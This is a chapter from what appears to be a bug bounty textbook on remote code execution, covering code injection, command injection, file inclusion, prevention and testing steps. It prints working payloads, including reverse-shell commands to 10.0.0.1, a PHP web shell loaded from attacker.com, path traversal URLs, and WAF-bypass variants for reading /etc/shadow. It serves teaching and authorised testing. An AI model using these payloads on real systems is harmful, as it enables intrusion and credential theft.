18

REMOTE CODE EXECUTION

Remote code execution (RCE) occurs when an attacker can execute arbitrary code on a target machine because of a vulnerability or misconfiguration. RCEs are extremely dangerous, as attackers can often ultimately compromise the web application or even the underlying web server.

There is no singular technique for achieving RCE. In previous chapters, I noted that attackers can achieve it via SQL injection, insecure deserialization, and template injection. In this chapter, we'll discuss two more strategies that may allow you to execute code on a target system: code injection and file inclusion vulnerabilities.

Before we go on, keep in mind that developing RCE exploits often requires a deeper understanding of programming, Linux commands, and web application development. You can begin to work toward this once you get the hang of finding simpler vulnerabilities.

Mechanisms

Sometimes attackers can achieve RCE by injecting malicious code directly into executed code. These are *code injection vulnerabilities*. Attackers can also achieve RCE by putting malicious code into a file executed or included by the victim application, vulnerabilities called *file inclusions*.

Code Injection

Code injection vulnerabilities happen when applications allow user input to be confused with executable code. Sometimes this happens unintentionally, when applications pass unsanitized data into executed code; other times, this is built into the application as an intentional feature.

For example, let's say you're a developer trying to build an online calculator. Python's `eval()` function accepts a string and executes it as Python code: `eval("1+1")` would return `2`, and `eval("1*3")` would return `3`. Because of its flexibility in evaluating a wide variety of user-submitted expressions, `eval()` is a convenient way of implementing your calculator. As a result, say you wrote the following Python code to perform the functionality. This program will take a user-input string, pass it through `eval()`, and return the results:

```
def calculate(input):
  return eval("{}".format(input))

result = calculate(user_input.calc)
print("The result is {}.".format(result))
```

Users can send operations to the calculator by using the following GET request. When operating as expected, the following user input would output the string `The result is 3`:

```
GET /calculator?calc=1+2
Host: example.com
```

But since `eval()` in this case takes user-provided input and executes it as Python code, an attacker could provide the application with something more malicious instead. Remember Python's `os.system()` command from Chapter 16, which executes its input string as a system command? Imagine an attacker submitted the following HTTP request to the `calculate()` function:

```
GET /calculator?calc="__import__('os').system('ls')"
Host: example.com
```

As a result, the program would execute `eval("__import__('os').system('ls')")` and return the results of the system command `ls`. Since `eval()` can be used to execute arbitrary code on the system, if you pass unsanitized user-input

into the `eval()` function, you have introduced a code injection vulnerability to your application.

The attacker could also do something far more damaging, like the following. This input would cause the application to call `os.system()` and spawn a reverse shell back to the IP 10.0.0.1 on port 8080:

```
GET /calculator?calc="__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1')"
Host: example.com
```

A *reverse shell* makes the target server communicate with the attacker's machine and establish a remotely accessible connection allowing attackers to execute system commands.

Another variant of code injection occurs when user input is concatenated directly into a system command. This is also called a *command injection vulnerability*. Aside from happening in web applications, command injections are also incredibly prevalent in embedded web applications because of their dependency on shell commands and frameworks using wrappers that execute shell commands.

Let's say *example.com* also has a functionality that allows you to download a remote file and view it on the website. To achieve this functionality, the application uses the system command `wget` to download the remote file:

```
import os

def download(url):
  os.system("wget -O- {}".format(url))

display(download(user_input.url))
```

The `wget` command is a tool that downloads web pages given a URL, and the `-O-` option makes `wget` download the file and display it in standard output. Put together, this program takes a URL from user input and passes it into the `wget` command executed using `os.system()`. For example, if you submit the following request, the application would download the source code of Google's home page and display it to you:

```
GET /download?url=google.com
Host: example.com
```

Since the user input is passed into a system command directly, attackers could inject system commands without even using a Python function. That's because, on the Linux command line, the semicolon (`;`) character separates individual commands, so an attacker could execute arbitrary commands after the `wget` command by submitting whatever command they want after a semicolon. For instance, the following input would cause the application to spawn a reverse shell back to the IP 10.0.0.1 on port 8080:

```
GET /download?url="google.com;bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"
Host: example.com
```

File Inclusion

Most programming languages have functionality that allows developers to *include* external files to evaluate the code contained within it. This is useful when developers want to incorporate external asset files like images into their applications, make use of external code libraries, or reuse code that is written for a different purpose.

Another way attackers can achieve RCE is by making the target server include a file containing malicious code. This *file inclusion vulnerability* has two subtypes: remote file inclusion and local file inclusion.

Remote file inclusion vulnerabilities occur when the application allows arbitrary files from a remote server to be included. This happens when applications dynamically include external files and scripts on their pages and use user input to determine the location of the included file.

To see how this works, let's look at a vulnerable application. The following PHP program calls the PHP `include` function on the value of the user-submitted HTTP GET parameter `page`. The `include` function then includes and evaluates the specified file:

```
<?php
  // Some PHP code

  $file = $_GET["page"];
  include $file;

  // Some PHP code
?>
```

This code allows users to access the various pages of the website by changing the `page` parameter. For example, to view the site's Index and About pages, the user can visit *http://example.com/?page=index.php* and *http://example.com/?page=about.php*, respectively.

But if the application doesn't limit which file the user includes with the `page` parameter, an attacker can include a malicious PHP file hosted on their server and get that executed by the target server.

In this case, let's host a PHP page named *malicious.php* that will execute the string contained in the URL GET parameter `cmd` as a system command. The `system()` command in PHP is similar to `os.system()` in Python. They both execute a system command and display the output. Here is the content of our malicious PHP file:

```
<?PHP
  system($_GET["cmd"]);
?>
```

If the attacker loads this page on *example.com*, the site will evaluate the code contained in *malicious.php* located on the attacker's server. The malicious script will then make the target server execute the system command `ls`:

```
http://example.com/?page=http://attacker.com/malicious.php?cmd=ls
```

Notice that this same feature is vulnerable to SSRF and XSS too. This endpoint is vulnerable to SSRF because the page could load info about the local system and network. Attackers could also make the page load a malicious JavaScript file and trick the user into clicking it to execute a reflected XSS attack.

On the other hand, *local file inclusions* happen when applications include files in an unsafe way, but the inclusion of remote files isn't allowed. In this case, attackers need to first upload a malicious file to the local machine, and then execute it by using local file inclusion. Let's modify our previous example a bit. The following PHP file first gets the HTTP GET parameter `page` and then calls the PHP `include` function after concatenating `page` with a directory name containing the files users can load:

```
<?php
  // Some PHP code

  $file = $_GET["page"];
  include "lang/".$file;

  // Some PHP code
?>
```

The site's *lang* directory contains its home page in multiple languages. For example, users can visit *http://example.com/?page=de-index.php* and *http://example.com/?page=en-index.php* to visit the German and English home pages, respectively. These URLs will cause the website to load the page */var/www/html/lang/de-index.php* and */var/www/html/lang/en-index.php* to display the German and English home pages.

In this case, if the application doesn't place any restrictions on the possible values of the `page` parameter, attackers can load a page of their own by exploiting an upload feature. Let's say that *example.com* allows users to upload files of all file types, then stores them in the */var/www/html/uploads/USERNAME* directory. The attacker could upload a malicious PHP file to the *uploads* folder. Then they could use the sequence `../` to escape out of the *lang* directory and execute the malicious uploaded file on the target server:

```
http://example.com/?page=../uploads/USERNAME/malicious.php
```

If the attacker loads this URL, the website will include the file */var/www/html/lang/../uploads/USERNAME/malicious.php*, which points to */var/www/html/uploads/USERNAME/malicious.php*.

Prevention

To prevent code injections, you should avoid inserting user input into code that gets evaluated. Also, since user input can be passed into evaluated code through files that are parsed by the application, you should treat user-uploaded files as untrusted, as well as protect the integrity of existing system files that your programs execute, parse, or include.

And to prevent file inclusion vulnerabilities, you should avoid including files based on user input. If that isn't possible, disallow the inclusion of remote files and create an allowlist of local files that your programs can include. You can also limit file uploads to certain safe file types and host uploaded files in a separate environment than the application's source code.

Also avoid calling system commands directly and use the programming language's system APIs instead. Most programming languages have built-in functions that allow you to run system commands without risking command injection. For instance, PHP has a function named `mkdir(DIRECTORY_NAME)`. You can use it to create new directories instead of calling `system("mkdir DIRECTORY_NAME")`.

You should implement strong input validation for input passed into dangerous functions like `eval()` or `include()`. But this technique cannot be relied on as the only form of protection, because attackers are constantly coming up with inventive methods to bypass input validation.

Finally, staying up-to-date with patches will prevent your application's dependencies from introducing RCE vulnerabilities. An application's dependencies, such as open source packages and components, often introduce vulnerabilities into an application. This is also called a *software supply chain attack*.

You can also deploy a *web application firewall (WAF)* to block suspicious attacks. Besides preventing RCEs, this could also help prevent some of the vulnerabilities I've discussed earlier in this book, such as SQL injection and XSS.

If an attacker does achieve RCE on a machine, how could you minimize the harm they can cause? The *principle of least privilege* states that applications and processes should be granted only the privileges required to complete their tasks. It is a best practice that lowers the risk of system compromise during an attack because attackers won't be able to gain access to sensitive files and operations even if they compromise a low-privileged user or process. For example, when a web application requires only read access to a file, it shouldn't be granted any writing or execution permissions. That's because, if an attacker hijacks an application that runs with high privilege, the attacker can gain its permissions.

Hunting for RCEs

Like many of the attacks we've covered thus far, RCEs have two types: classic and blind. *Classic RCEs* are the ones in which you can read the results of the code execution in a subsequent HTTP response, whereas *blind RCEs* occur when the malicious code is executed but the returned values of the execution do not appear in any HTTP response. Although attackers cannot witness the results of their executions, blind RCEs are just as dangerous as classic RCEs because they can enable attackers to spawn reverse shells or exfiltrate data to a remote server. Hunting for these two types of RCE is a similar process, but the commands or code snippets you'll need to use to verify these vulnerabilities will differ.

Here are some commands you can use when attacking Linux servers. When hunting for a classic RCE vulnerability, all you need to do to verify the vulnerability is to execute a command such as `whoami`, which outputs the username of the current user. If the response contains the web server's username, such as `www-data`, you've confirmed the RCE, as the command has successfully run. On the other hand, to validate a blind RCE, you'll need to execute a command that influences system behavior, like `sleep 5`, which delays the response by five seconds. Then if you experience a five-second delay before receiving a response, you can confirm the vulnerability. Similar to the blind techniques we used to exploit other vulnerabilities, you can also set up a listener and attempt to trigger out-of-band interaction from the target server.

Step 1: Gather Information About the Target

The first step to finding any vulnerability is to gather information about the target. When hunting for RCEs, this step is especially important because the route to achieving an RCE is extremely dependent on the way the target is built. You should find out information about the web server, programming language, and other technologies used by your current target. Use the recon steps outlined in Chapter 5 to do this.

Step 2: Identify Suspicious User Input Locations

As with finding many other vulnerabilities, the next step to finding any RCE is to identify the locations where users can submit input to the application. When hunting for code injections, take note of every direct user-input location, including URL parameters, HTTP headers, body parameters, and file uploads. Sometimes applications parse user-supplied files and concatenate their contents unsafely into executed code, so any input that is eventually passed into commands is something you should look out for.

To find potential file inclusion vulnerabilities, check for input locations being used to determine filenames or paths, as well as any file-upload functionalities in the application.

Step 3: Submit Test Payloads

The next thing you should do is to submit test payloads to the application. For code injection vulnerabilities, try payloads that are meant to be interpreted by the server as code and see if they get executed. For example, here's a list of payloads you could use:

Python payloads

This command is designed to print the string `RCE test!` if Python execution succeeds:

```
print("RCE test!")
```

This command prints the result of the system command `ls`:

```
"__import__('os').system('ls')"
```

This command delays the response for 10 seconds:

```
"__import__('os').system('sleep 10')"
```

PHP payloads

This command is designed to print the local PHP configuration information if execution succeeds:

```
phpinfo();
```

This command prints the result of the system command `ls`:

```
<?php system("ls");?>
```

This command delays the response for 10 seconds:

```
<?php system("sleep 10");?>
```

Unix payloads

This command prints the result of the system command `ls`:

```
;ls;
```

These commands delay the response for 10 seconds:

```
| sleep 10;
& sleep 10;
` sleep 10;`
$(sleep 10)
```

For file inclusion vulnerabilities, you should try to make the endpoint include either a remote file or a local file that you can control. For example, for remote file inclusion, you could try several forms of a URL that points to your malicious file hosted offsite:

```
http://example.com/?page=http://attacker.com/malicious.php
http://example.com/?page=http:attacker.com/malicious.php
```

And for local file inclusion vulnerabilities, try different URLs pointing to local files that you control:

```
http://example.com/?page=../uploads/malicious.php
http://example.com/?page=..%2fuploads%2fmalicious.php
```

You can use the protection-bypass techniques you learned in Chapter 13 to construct different forms of the same URL.

Step 4: Confirm the Vulnerability

Finally, confirm the vulnerability by executing harmless commands like `whoami`, `ls`, and `sleep 5`.

Escalating the Attack

Be extra cautious when escalating RCE vulnerabilities. Most companies would prefer that you don't try to escalate them at all because they don't want someone poking around systems that contain confidential data. During a typical penetration test, a hacker will often try to figure out the privileges of the current user and attempt privilege-escalation attacks after they gain RCE. But in a bug bounty context, this isn't appropriate. You might accidentally read sensitive information about customers or cause damage to the systems by modifying a critical file. It's important that you carefully read the bounty program rules so you don't cross the lines.

For classic RCEs, create a proof of concept that executes a harmless command like `whoami` or `ls`. You can also prove you've found an RCE by reading a common system file such as */etc/passwd*. You can use the `cat` command to read a system file:

```
cat /etc/passwd
```

On Linux systems, the */etc/passwd* file contains a list of the system's accounts and their user IDs, group IDs, home directories, and default shells. This file is usually readable without special privileges, so it's a good file to try to access first.

Finally, you can create a file with a distinct filename on the system, such as *rce_by_YOUR_NAME.txt* so it's clear that this file is a part of your POC. You can use the `touch` command to create a file with the specified name in the current directory:

```
touch rce_by_YOUR_NAME.txt
```

For blind RCEs, create a POC that executes the `sleep` command. You can also create a reverse shell on the target machine that connects back to your system for a more impactful POC. However, this is often against program rules, so be sure to check with the program beforehand.

It's easy to step over the bounds of the bounty policy and cause unintended damage to the target site when creating POCs for RCE vulnerabilities. When you create your POC, make sure that your payload executes a harmless command and that your report describes the steps needed to achieve RCE. Often, reading a nonsensitive file or creating a file under a random path is enough to prove your findings.

Bypassing RCE Protection

Many applications have caught on to the dangers of RCE and employ either input validation or a firewall to stop potentially malicious requests. But programming languages are often quite flexible, and that enables us to work within the bounds of the input validation rules to make our attack work! Here are some basic input validation bypasses you can try in case the application is blocking your payloads.

For Unix system commands, you can insert quotes and double quotes without changing the command's behavior. You can also use wildcards to substitute for arbitrary characters if the system is filtering out certain strings. Finally, any empty command substitution results can be inserted into the string without changing the results. For example, the following commands will all print the contents of */etc/shadow*:

```
cat /etc/shadow
cat "/e"tc'/shadow'
cat /etc/sh*dow
cat /etc/sha``dow
cat /etc/sha$()dow
cat /etc/sha${}dow
```

You can also vary the way you write the same command in PHP. For example, PHP allows you to concatenate function names as strings. You can even hex-encode function names, or insert PHP comments in commands without changing their outcome:

```
/* Text surrounded by these brackets are comments in PHP. */
```

For example, say you want to execute this system command in PHP:

```
system('cat /etc/shadow');
```

The following example executes a `system` command by concatenating the strings `sys` and `tem`:

```
('sys'.'tem')('cat /etc/shadow');
```

The following example does the same thing but inserts a blank comment in the middle of the command:

```
system/**/('ls');
```

And this line of code is a hex-encoded version of the `system` command:

```
'\x73\x79\x73\x74\x65\x6d'('ls');
```

Similar behavior exists in Python. The following are all equivalent in Python syntax:

```
__import__('os').system('cat /etc/shadow')
__import__('o'+'s').system('cat /etc/shadow')
__import__('\x6f\x73').system('cat /etc/shadow')
```

Additionally, some servers concatenate the values of multiple parameters that have the same name into a single value. In this case, you can split

malicious code into chunks to bypass input validation. For example, if the firewall blocks requests that contain the string `system`, you can split your RCE payload into chunks, like so:

```
GET /calculator?calc="__import__('os').sy"&calc="stem('ls')"
Host: example.com
```

The parameters will get through the firewall without issue, since the request technically doesn't contain the string `system`. But when the server processes the request, the parameter values will be concatenated into a single string that forms our RCE payload: `"__import__('os').system('ls')"`.

This is only a tiny subset of filter bypasses you can try; many more exist. For example, you can hex-encode, URL-encode, double-URL-encode, and vary the cases (uppercase or lowercase characters) of your payloads. You can also try to insert special characters such as null bytes, newline characters, escape characters (\), and other special or non-ASCII characters into the payload. Then, observe which payloads are blocked and which ones succeed, and craft exploits that will bypass the filter to accomplish your desired results. If you're interested in this topic, search online for *RCE filter bypass* or *WAF bypass* to learn more. Additionally, the principles mentioned in this section can be used to bypass input validation for other vulnerabilities as well, such as SQL injection and XSS.

Finding Your First RCE!

It's time to find your first RCE by using the tips and tricks you've learned in this chapter.

1. Identify suspicious user-input locations. For code injections, take note of every user-input location, including URL parameters, HTTP headers, body parameters, and file uploads. To find potential file inclusion vulnerabilities, check for input locations being used to determine or construct filenames and for file-upload functions.
2. Submit test payloads to the input locations in order to detect potential vulnerabilities.
3. If your requests are blocked, try protection-bypass techniques and see if your payload succeeds.
4. Finally, confirm the vulnerability by trying to execute harmless commands such as `whoami`, `ls`, and `sleep 5`.
5. Avoid reading sensitive system files or altering any files with the vulnerability you've found.
6. Submit your first RCE report to the program!